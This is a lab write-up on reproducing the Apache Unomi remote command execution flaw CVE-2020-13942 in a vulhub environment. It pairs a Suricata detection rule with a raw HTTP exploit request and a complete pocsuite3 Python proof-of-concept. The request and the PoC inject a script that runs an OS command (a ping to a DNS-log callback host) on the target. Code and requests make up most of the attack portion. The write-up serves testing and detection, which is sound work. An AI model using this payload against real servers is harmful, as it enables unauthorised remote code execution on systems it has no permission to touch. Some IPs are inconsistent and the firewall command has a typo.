Environment Description
| IP | HOSTNAME | NOTE |
|---|
| 192.168.244.1 | WIN | Attack host |
| 192.168.244.128 | CentOS7 | Target host |
Vulnerability Environment Setup
- On
VMware, start the vulnerable environment on the CentOS7 virtual machine through vulhub docker:
cd vulhub/unomi/CVE-2020-13942 # 切换到unomi漏洞环境目录
docker-compose up -d # 启动漏洞环境
- On the
CentOS7 firewall, allow port 8181:
firewall-cmd --zone=public --add-port=8181/tcp --permanet
firewall-cmd --reload
- As shown below,
http://192.168.78.128:8181 was accessed successfully from the attack host.

Vulnerability Reproduction
- Access the
Apache Unomi page, capture the request with burpsuite, and add it to the repeater, as shown below:

- Visit the
dnslog website to obtain a test domain name, as shown below:

- Construct the
Dnslog callback payload:
POST /context.json HTTP/1.1
Host: 192.168.244.128:8181
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 209
{"filters":[{"id" : "hunter","filters": [{"condition": {"parameterValues": {"hunter": "script::Runtime.getRuntime().exec('ping csj5vh.dnslog.cn')"},"type":"profilePropertyCondition"}}]}],"sessionId": "hunter"}
- Attempt the reproduction. As shown below, the target successfully executed the
ping command:

Suricata Rule Development
- First filter out and export the
pcap attack traffic, as shown below:

alert tcp any any -> any any (msg:"apache-unomi_cve-2020-13942"; content:"POST"; content:"Runtime.getRuntime|28 29|"; content:"exec|28|"; sid:472; rev:2; metadata:aes team rules;)

POC Development
- The complete
POC code is as follows:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pocsuite3.api import Output, POCBase, register_poc, requests, logger, VUL_TYPE, POC_CATEGORY
import time
'''
指纹:
url中包含:/context.json
请求体中包含:Runtime.getRuntime()
suricata检测规则:
alert tcp any any -> any any (msg:"apache-unomi_cve-2020-13942"; content:"POST"; content:"Runtime.getRuntime|28 29|"; content:"exec|28|"; sid:472; rev:2; metadata:aes team rules;)
'''
class Dnslog:
def __init__(self) -> None:
self._get_dns_domain_api = 'http://123.59.120.210:8444/get_domain' # 获取子域名
self._check_dns_record_api = "http://123.59.120.210:8444/query_dns" # 查询dns解析
self._headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE',
}
self._dns = requests.session()
self.dnssubdomain = self._dns.get(self._get_dns_domain_api).text
def getrecords(self):
random_key = self.dnssubdomain.split(".")[0]
data = {"random_key": random_key}
result = self._dns.post(self._check_dns_record_api, json=data, headers=self._headers).text
if "not_exist" not in result:
return True
else:
return False
class TestPOC(POCBase):
vulID = '360入侵者模拟'
version = 'v1'
author = ['360入侵者模拟']
vulDate = '2020-11-24'
createDate = '2021-8-12'
updateDate = '2021-8-12'
references = ['']
name = 'Apache Unomi远程命令执行漏洞'
appPowerLink = ''
appName = 'apacheunomi'
severity = "Critical"
appVersion = '''Apache Unomi < 1.5.2'''
suggest = "更新至Apache Unomi最新版";
vulType = VUL_TYPE.COMMAND_EXECUTION
category = POC_CATEGORY.EXPLOITS.WEBAPP
hasExp = False
desc = ''''''
CVE = 'CVE-2020-13942'
target = "http://192.168.224.128:8181"
def _verify(self):
result = {}
self.url = self.url.strip("/")
self._dnslog = Dnslog()
self.dnssubdomain = self._dnslog.dnssubdomain
self._sendpoc()
# 休眠等待dns log出结果
time.sleep(0.5)
# 访问dns log,查看是否存在特征
try:
logger.info("验证是否存在漏洞....")
if self._dnslog.getrecords():
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
logger.info("存在漏洞...")
except Exception as e:
logger.error(f"未获取到dns log数据,请重试,错误{e}")
return self.parse_output(result)
def _sendpoc(self):
"""发送检测poc"""
payload='{"filters":[{"id" : "hunter","filters": [{"condition": {"parameterValues": {"hunter": "script::Runtime.getRuntime().exec(\'ping '+self.dnssubdomain+'\')"},"type":"profilePropertyCondition"}}]}],"sessionId": "hunter"}'
target_url = f'{self.url}/context.json'
try:
resp = requests.post(target_url, data=payload, verify=False)
except Exception:
logger.error(f"connect target '{self.url} failed!'")
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register_poc(TestPOC)
- The screenshot below shows the
POC validating the vulnerability successfully:
